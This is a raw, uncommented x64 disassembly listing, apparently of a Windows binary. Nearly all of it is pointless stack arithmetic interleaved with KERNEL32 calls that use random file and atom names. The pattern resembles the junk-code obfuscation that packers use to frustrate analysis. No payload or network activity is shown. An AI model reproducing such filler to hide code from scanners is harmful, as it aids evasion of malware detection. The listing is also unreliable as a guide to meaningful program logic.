movzx eax, byte [rsp + 0x211]
mov rcx, qword [0x140363dd0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6ed], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.MJUiP7tR9eSW4c1xn
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15c48], rax
movzx eax, word [rsp + 0x2c3c]
mov rcx, qword [rsp + 0x15608]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14035cc90], ax
mov rax, qword [rsp + 0x14468]
mov ecx, dword [rsp + 0x6d20]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14e78]
mov dword [rcx], eax
lea rax, [rsp + 0x9d18]
mov qword [rsp + 0x15c50], rax
mov eax, dword [rsp + 0xa984]
mov ecx, dword [rsp + 0xaf7c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13f28]
mov dword [rcx], eax
lea rax, [rsp + 0xabf0]
mov qword [rsp + 0x15c58], rax
mov dword [rsp + 0x20], 0x2728
mov r9d, 0x1460
mov r8d, 0x38dd
mov edx, 0x3ee
mov rcx, qword [rsp + 0x13848]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0xaa2c], eax
mov rax, qword [rsp + 0x149c8]
mov rcx, qword [rsp + 0x13730]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x910c], eax
movzx eax, byte [rsp + 0x305]
mov byte [rsp + 0x738], al
movsx eax, word [rsp + 0x2c4c]
imul eax, eax, 0x5ec
mov word [rsp + 0x2a74], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa7bc], eax
mov rax, qword [0x140363c40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x65d]
or eax, ecx
mov rcx, qword [rsp + 0x13f40]
mov byte [rcx], al
movzx eax, word [rsp + 0x29c0]
movzx ecx, word [rsp + 0x2b64]
add eax, ecx
mov word [0x14035cc90], ax
lea rax, [rsp + 0xab84]
mov qword [rsp + 0x15c60], rax
mov rax, qword [0x140363ce8]
mov ecx, dword [rsp + 0xaac0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14c20]
mov dword [rcx], eax
lea rax, [rsp + 0x2b60]
mov qword [rsp + 0x15c68], rax
movzx eax, byte [rsp + 0x6fa]
mov rcx, qword [rsp + 0x14228]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x69f], al
lea rcx, [rsp + 0x41ef8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x140b8]
mov ecx, dword [rsp + 0xaa18]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xad74], eax
mov eax, dword [rsp + 0x7480]
mov rcx, qword [rsp + 0x14ea8]
mov qword [rsp + 0x15c70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15c70]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x72dc], eax
mov eax, dword [rsp + 0xaa28]
mov rcx, qword [rsp + 0x15a98]
mov qword [rsp + 0x15c78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15c78]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x138b8]
mov dword [rcx], eax
lea rcx, str.Dcbx.L8PYggjcqcL0_Lj1TZ
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2d4c], ax
mov eax, dword [rsp + 0xad58]
mov dword [rsp + 0xb018], eax
lea rax, [rsp + 0x6c6]
mov qword [0x140363fc8], rax
movzx eax, word [rsp + 0x2d04]
mov rcx, qword [0x140363f20]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x14bd8]
mov word [rcx], ax
mov dword [rsp + 0x20], 0x2889
mov r9d, 0x3a83
mov r8d, 0x2548
mov edx, 0x2243
mov rcx, qword [rsp + 0x141c0]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0xa92c], eax
mov rax, qword [rsp + 0x154c0]
mov rcx, qword [rsp + 0x148c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa8a0], eax
mov rax, qword [rsp + 0x14b50]
mov eax, dword [rax]
mov dword [rsp + 0xb01c], eax
mov rax, qword [rsp + 0x15638]
movsx eax, byte [rax]
mov rcx, qword [0x1403639b0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x132b8]
mov byte [rcx], al
movsx eax, word [rsp + 0x2d20]
mov rcx, qword [rsp + 0x13e60]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2558], ax
movzx eax, byte [rsp + 0x61c]
mov rcx, qword [rsp + 0x15a88]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x724], al
mov rax, qword [0x140363f20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x20a8]
add eax, ecx
mov rcx, qword [rsp + 0x146e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x13488]
mov eax, dword [rax]
mov dword [rsp + 0xb020], eax
mov rax, qword [rsp + 0x14c60]
mov ecx, dword [rsp + 0xad9c]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1403639b8], eax
mov rax, qword [rsp + 0x138d0]
mov ecx, dword [rsp + 0xaf3c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14848]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15248]
mov rcx, qword [rsp + 0x14e90]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9f00], eax
mov eax, dword [rsp + 0x7a74]
mov ecx, dword [0x140363a1c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13c68]
mov dword [rcx], eax
lea rax, [rsp + 0x29b8]
mov qword [rsp + 0x15c80], rax
mov rax, qword [rsp + 0x13440]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14e58]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x70f], al
mov rax, qword [rsp + 0x157c8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13f48]
mov qword [rsp + 0x15c88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15c88]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa884], eax
lea rax, [rsp + 0xaf0c]
mov qword [rsp + 0x15c90], rax
mov rax, qword [rsp + 0x13d10]
mov ecx, dword [rsp + 0x8134]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x14288]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9370]
mov dword [0x140363fd0], eax
movzx eax, word [rsp + 0x2ce0]
mov word [rsp + 0x2d50], ax
movzx eax, byte [rsp + 0x6cd]
mov rcx, qword [rsp + 0x14840]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x713], al
movsx eax, byte [rsp + 0x28f]
mov rcx, qword [0x140363f88]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x738], al
lea rax, [rsp + 0x169c]
mov qword [rsp + 0x15c98], rax
mov rax, qword [rsp + 0x13a38]
mov ecx, dword [rsp + 0xaef0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8620], eax
mov rax, qword [rsp + 0x138a8]
mov eax, dword [rax]
mov dword [rsp + 0xb024], eax
mov rax, qword [rsp + 0x154f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ba4]
sub eax, ecx
mov rcx, qword [rsp + 0x14748]
mov word [rcx], ax
movzx eax, byte [rsp + 0x120]
movzx ecx, byte [rsp + 0x6d4]
and eax, ecx
mov rcx, qword [rsp + 0x150b8]
mov byte [rcx], al
mov eax, dword [0x14035cc4c]
mov dword [0x140363fd4], eax
lea rax, [rsp + 0xafec]
mov qword [rsp + 0x15ca0], rax
movzx ecx, word [rsp + 0x2a08]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2a60], ax
mov eax, dword [rsp + 0x9ee4]
mov ecx, dword [rsp + 0xaaa0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7114], eax
mov eax, dword [rsp + 0xae24]
mov ecx, dword [rsp + 0xab44]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9838], eax
lea rcx, [rsp + 0x41f28]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x14580]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2aa4]
add eax, ecx
mov word [rsp + 0x11c4], ax
mov rax, qword [rsp + 0x15af0]
movzx eax, byte [rax]
mov byte [rsp + 0x739], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa9a8], eax
mov rax, qword [rsp + 0x15240]
mov ecx, dword [0x14035cc6c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14878]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13dd0]
mov ecx, dword [rsp + 0x63a0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa8fc], eax
lea rax, [rsp + 0xae38]
mov qword [rsp + 0x15ca8], rax
mov rax, qword [rsp + 0x13b80]
mov rcx, qword [rsp + 0x136f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [0x140363fc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14800]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8c20]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13020]
mov dword [rcx], eax
lea rax, [rsp + 0x6d5]
mov qword [rsp + 0x15cb0], rax
mov rax, qword [0x140363e10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x15c98]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1784], ax
movzx ecx, word [rsp + 0x2c34]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b8c], ax
mov rax, qword [rsp + 0x14938]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x70a]
shl eax, cl
mov byte [rsp + 0x434], al
lea rax, [rsp + 0x1a2c]
mov qword [rsp + 0x15cb8], rax
mov rax, qword [rsp + 0x134c0]
mov ecx, dword [rsp + 0x86b4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xab0c], eax
lea rax, [rsp + 0xafbc]
mov qword [rsp + 0x15cc0], rax
movzx eax, word [rsp + 0x2bf0]
movzx ecx, word [rsp + 0x2d08]
and eax, ecx
mov rcx, qword [rsp + 0x14f08]
mov word [rcx], ax
movzx eax, byte [0x14035e507]
movzx ecx, byte [rsp + 0x328]
add eax, ecx
mov rcx, qword [0x140363ae0]
mov byte [rcx], al
mov eax, dword [rsp + 0x9474]
mov ecx, dword [rsp + 0xaf8c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xae68], eax
mov eax, dword [rsp + 0x7ea4]
mov ecx, dword [rsp + 0xa350]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f84], eax
lea rdx, [rsp + 0x45c78]
mov rcx, qword [rsp + 0x15750]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xb028], eax
mov eax, dword [rsp + 0x6bd8]
mov ecx, dword [rsp + 0x9674]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13b80]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6adc]
mov dword [rsp + 0xb02c], eax
movzx eax, byte [rsp + 0x6f7]
mov rcx, qword [rsp + 0x150b8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13678]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaf24], eax
mov rax, qword [rsp + 0x15a60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13398]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b60], ax
mov rax, qword [rsp + 0x14100]
mov rcx, qword [0x140363bd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8b3c], eax
mov rax, qword [rsp + 0x14c08]
mov rcx, qword [rsp + 0x14f10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14808]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xad78], eax
movsx eax, word [rsp + 0x2b4c]
movsx ecx, word [rsp + 0x2b54]
sub eax, ecx
mov word [0x14035cc94], ax
lea rax, [0x14035e4f6]
mov qword [rsp + 0x15cc8], rax
movzx eax, byte [rsp + 0x594]
mov rcx, qword [rsp + 0x138a0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x158d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13448]
movzx eax, word [rax]
mov word [rsp + 0x2d54], ax
mov eax, dword [rsp + 0xafe4]
movzx ecx, al
mov eax, dword [0x14035cc1c]
shl eax, cl
mov dword [rsp + 0x8808], eax
mov eax, dword [rsp + 0xacf4]
mov rcx, qword [rsp + 0x13a10]
mov qword [rsp + 0x15cd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15cd0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x13ac8]
mov dword [rcx], eax
lea rax, [rsp + 0x6fec]
mov qword [rsp + 0x15cd8], rax
mov rax, qword [rsp + 0x15368]
mov eax, dword [rax]
mov ecx, dword [0x140363fd0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x155c8]
mov dword [rcx], eax
lea rax, [rsp + 0xaed8]
mov qword [rsp + 0x15ce0], rax
mov rax, qword [rsp + 0x132b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1510]
or eax, ecx
mov rcx, qword [rsp + 0x14748]
mov word [rcx], ax
mov rax, qword [0x140363a98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x134c8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x14035e4f4], al
mov rax, qword [rsp + 0x14548]
mov ecx, dword [rsp + 0xaebc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14608]
mov dword [rcx], eax
lea rax, [rsp + 0x62dc]
mov qword [rsp + 0x15ce8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xb030], eax
mov rax, qword [0x140363fc0]
mov rcx, qword [rsp + 0x13ec0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xafb8], eax
lea rdx, [rsp + 0x14818]
mov rcx, qword [rsp + 0x15768]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xac2c], eax
lea rax, [rsp + 0xa8d0]
mov qword [rsp + 0x15cf0], rax
mov rax, qword [rsp + 0x15278]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x142c0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x11b0], ax
movzx eax, byte [rsp + 0x6d1]
movzx ecx, byte [rsp + 0x6be]
sub eax, ecx
mov rcx, qword [rsp + 0x14938]
mov byte [rcx], al
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov rax, qword [rsp + 0x136b8]
movzx eax, byte [rax]
mov byte [rsp + 0x73a], al
mov rax, qword [rsp + 0x155f0]
movsx eax, word [rax]
movsx ecx, word [0x140362bf4]
and eax, ecx
mov word [rsp + 0x2a8c], ax
mov rax, qword [rsp + 0x15c90]
mov eax, dword [rax]
mov dword [0x140363fd8], eax
lea rax, [rsp + 0xab18]
mov qword [rsp + 0x15cf8], rax
movzx eax, word [rsp + 0x2c78]
mov rcx, qword [rsp + 0x14ec0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x15bc8]
mov word [rcx], ax
mov rax, qword [0x140363cc8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x369]
sub eax, ecx
mov byte [rsp + 0x3b2], al
lea rax, [rsp + 0xa3a8]
mov qword [rsp + 0x15d00], rax
mov rax, qword [rsp + 0x13e88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69fc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13b78]
mov dword [rcx], eax
mov eax, dword [rsp + 0xaefc]
movzx ecx, al
mov eax, dword [0x140363960]
sar eax, cl
mov dword [rsp + 0x78e8], eax
mov eax, dword [rsp + 0x6fe8]
mov rcx, qword [rsp + 0x15818]
mov qword [rsp + 0x15d08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15d08]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xaae0], eax
lea rax, [rsp + 0x6ea]
mov qword [rsp + 0x15d10], rax
movzx eax, word [0x140362f5c]
movzx ecx, word [rsp + 0x200c]
xor eax, ecx
mov word [0x140362f84], ax
mov rax, qword [rsp + 0x15980]
mov rcx, qword [rsp + 0x13290]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14150]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa894]
mov ecx, dword [rsp + 0xae40]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14288]
mov dword [rcx], eax
lea rcx, str.eqW4Fcbhyme7d
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2d58], ax
mov eax, dword [rsp + 0xaaa0]
mov dword [rsp + 0xb034], eax
mov rax, qword [rsp + 0x13b10]
mov rcx, qword [rsp + 0x14a58]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13760]
mov dword [rcx], eax
mov rax, qword [rsp + 0x138b8]
mov ecx, dword [rsp + 0xaf54]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x78e4], eax
movsx eax, byte [rsp + 0x468]
mov rcx, qword [rsp + 0x13a00]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x15a48]
mov byte [rcx], al
movsx eax, word [rsp + 0x29c4]
mov rcx, qword [rsp + 0x15590]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2ae0], ax
movzx eax, word [rsp + 0x2d54]
mov word [rsp + 0x2d5c], ax
lea rdx, [rsp + 0x157c0]
mov rcx, qword [rsp + 0x134e8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xac6c], eax
lea rax, [rsp + 0xbb]
mov qword [0x140363fe0], rax
mov rax, qword [rsp + 0x14928]
mov ecx, dword [rsp + 0xabac]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13a80]
mov dword [rcx], eax
mov eax, dword [0x14035cc4c]
mov dword [rsp + 0xb038], eax
movzx eax, word [rsp + 0x29e4]
movzx ecx, word [rsp + 0x2c48]
sub eax, ecx
mov word [rsp + 0x200c], ax
mov rax, qword [rsp + 0x15b70]
movzx eax, byte [rax]
mov rcx, qword [0x140363970]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14a20]
mov byte [rcx], al
lea rax, [rsp + 0xaba4]
mov qword [rsp + 0x15d18], rax
mov rax, qword [rsp + 0x140e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa278]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13330]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14fc8]
mov rcx, qword [0x140363f98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7de4], eax
mov rax, qword [rsp + 0x14198]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x85c0]
sar eax, cl
mov dword [rsp + 0x62d0], eax
mov rax, qword [rsp + 0x135d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13500]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x14035cc74], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaf10], eax
movzx eax, byte [rsp + 0x3b2]
mov byte [rsp + 0x73b], al
mov rax, qword [rsp + 0x13640]
mov rcx, qword [rsp + 0x15c90]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6e3c], eax
mov rax, qword [rsp + 0x14e10]
mov ecx, dword [rsp + 0xac5c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x81b4], eax
mov rax, qword [0x140363de8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14880]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1334], ax
mov rax, qword [rsp + 0x15810]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x151a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x136b8]
mov byte [rcx], al
lea rax, [rsp + 0x51b]
mov qword [rsp + 0x15d20], rax
movzx eax, word [rsp + 0x2c84]
movzx ecx, word [rsp + 0x2c30]
add eax, ecx
mov rcx, qword [rsp + 0x152a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x14cd8]
mov rcx, qword [rsp + 0x142a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x66cc], eax
lea rax, [rsp + 0x6d90]
mov qword [0x140363fe8], rax
lea rax, [rsp + 0x8840]
mov qword [rsp + 0x15d28], rax
mov rax, qword [rsp + 0x14068]
mov ecx, dword [rsp + 0xac48]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x15070]
mov dword [rcx], eax
mov eax, dword [rsp + 0xac84]
mov dword [rsp + 0xb03c], eax
mov rax, qword [rsp + 0x150e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14ff0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2430], ax
movzx eax, byte [rsp + 0x120]
movzx ecx, byte [rsp + 0x119]
or eax, ecx
mov byte [rsp + 0x6c1], al
lea rax, [rsp + 0x84a0]
mov qword [rsp + 0x15d30], rax
mov rax, qword [rsp + 0x13c48]
mov ecx, dword [rsp + 0x69fc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x154e0]
mov dword [rcx], eax
lea rax, [rsp + 0xab54]
mov qword [rsp + 0x15d38], rax
mov rax, qword [rsp + 0x13ad0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaf90]
add ecx, eax
mov eax, ecx
mov dword [str._tq_n], eax
mov rax, qword [rsp + 0x14158]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x592]
add eax, ecx
mov byte [rsp + 0x700], al
mov rax, qword [rsp + 0x15008]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14290]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x151e8]
mov word [rcx], ax
mov rax, qword [0x140363a90]
movzx eax, byte [rax]
mov byte [rsp + 0x73c], al
mov rax, qword [rsp + 0x13998]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x29d8]
xor eax, ecx
mov word [rsp + 0x2a0c], ax
mov eax, dword [rsp + 0x7a24]
mov rcx, qword [rsp + 0x15980]
mov qword [rsp + 0x15d40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15d40]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x9570], eax
lea rcx, str.skgH0b_y_OnyRB
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2d60], ax
mov rax, qword [rsp + 0x15998]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xac14]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9114], eax
movzx ecx, word [rsp + 0x2b30]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2ccc], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3750
mov r9d, 0x1c79
mov r8d, 0x48507694
mov edx, 2
mov rcx, qword [rsp + 0x136c0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xac98], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.P5wwavLmbKFKnuAVW
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15d48], rax
movzx eax, byte [rsp + 0x23b]
mov byte [rsp + 0x73d], al
mov rax, qword [rsp + 0x14ec0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c80]
and eax, ecx
mov rcx, qword [rsp + 0x14290]
mov word [rcx], ax
lea rax, [rsp + 0xaa98]
mov qword [0x140363ff0], rax
movzx ecx, word [rsp + 0x2a08]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2c00], ax
mov eax, dword [rsp + 0xa9f8]
mov ecx, dword [rsp + 0xaa30]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13eb8]
mov dword [rcx], eax
lea rax, [rsp + 0x8b00]
mov qword [rsp + 0x15d50], rax
mov rax, qword [rsp + 0x13c48]
mov rcx, qword [0x140363950]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa948], eax
lea rax, [rsp + 0x292c]
mov qword [rsp + 0x15d58], rax
lea rdx, [rsp + 0x13e28]
mov rcx, qword [rsp + 0x13700]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xb040], eax
movzx eax, byte [rsp + 0x70a]
movzx ecx, byte [rsp + 0x6ed]
add eax, ecx
mov rcx, qword [rsp + 0x13e20]
mov byte [rcx], al
mov eax, dword [rsp + 0xad10]
mov ecx, dword [rsp + 0xab74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xab2c], eax
lea rax, [rsp + 0xad50]
mov qword [rsp + 0x15d60], rax
mov rax, qword [rsp + 0x15b28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaf8c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x154d0]
mov dword [rcx], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x2816
mov r8d, 0x915
mov edx, 0x5b
mov rcx, qword [rsp + 0x14c50]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0xae00], eax
lea rax, [0x140363d20]
mov qword [0x140363ff8], rax
mov rax, qword [rsp + 0x147c8]
mov rcx, qword [rsp + 0x14760]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa134], eax
mov rax, qword [rsp + 0x14f00]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x15810]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13ab8]
mov byte [rcx], al
mov rax, qword [0x140363d10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14a50]
movsx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x149f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x14e00]
movzx eax, word [rax]
mov word [rsp + 0x2d64], ax
movzx eax, byte [rsp + 0x6ea]
movzx ecx, byte [rsp + 0x711]
add eax, ecx
mov rcx, qword [rsp + 0x159d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x14c80]
mov ecx, dword [rsp + 0xa7dc]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x8024], eax
mov rcx, qword [rsp + 0x13c28]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0x9048]
mov rcx, qword [rsp + 0x13498]
mov qword [rsp + 0x15d68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15d68]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x14970]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.nMwqW6csIo8WcCKJzfKd9Knm
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15d70], rax
mov rax, qword [rsp + 0x15220]
movzx eax, byte [rax]
mov byte [rsp + 0x73e], al
mov rax, qword [rsp + 0x15760]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b44]
shl eax, cl
mov word [0x140362eac], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaf10], eax
mov rax, qword [rsp + 0x14468]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6768]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xac9c], eax
mov rax, qword [0x140363e18]
mov rcx, qword [rsp + 0x14410]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8828], eax
lea rax, [rsp + 0xa8ec]
mov qword [rsp + 0x15d78], rax
movzx ecx, word [rsp + 0x2d4c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2cd0], ax
mov rax, qword [rsp + 0x15140]
mov ecx, dword [rsp + 0xafe0]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13be0]
mov dword [rcx], eax
lea rax, [rsp + 0x28f0]
mov qword [rsp + 0x15d80], rax
movzx eax, byte [rsp + 0x1f4]
movzx ecx, byte [rsp + 0x6d7]
sub eax, ecx
mov byte [rsp + 0x705], al
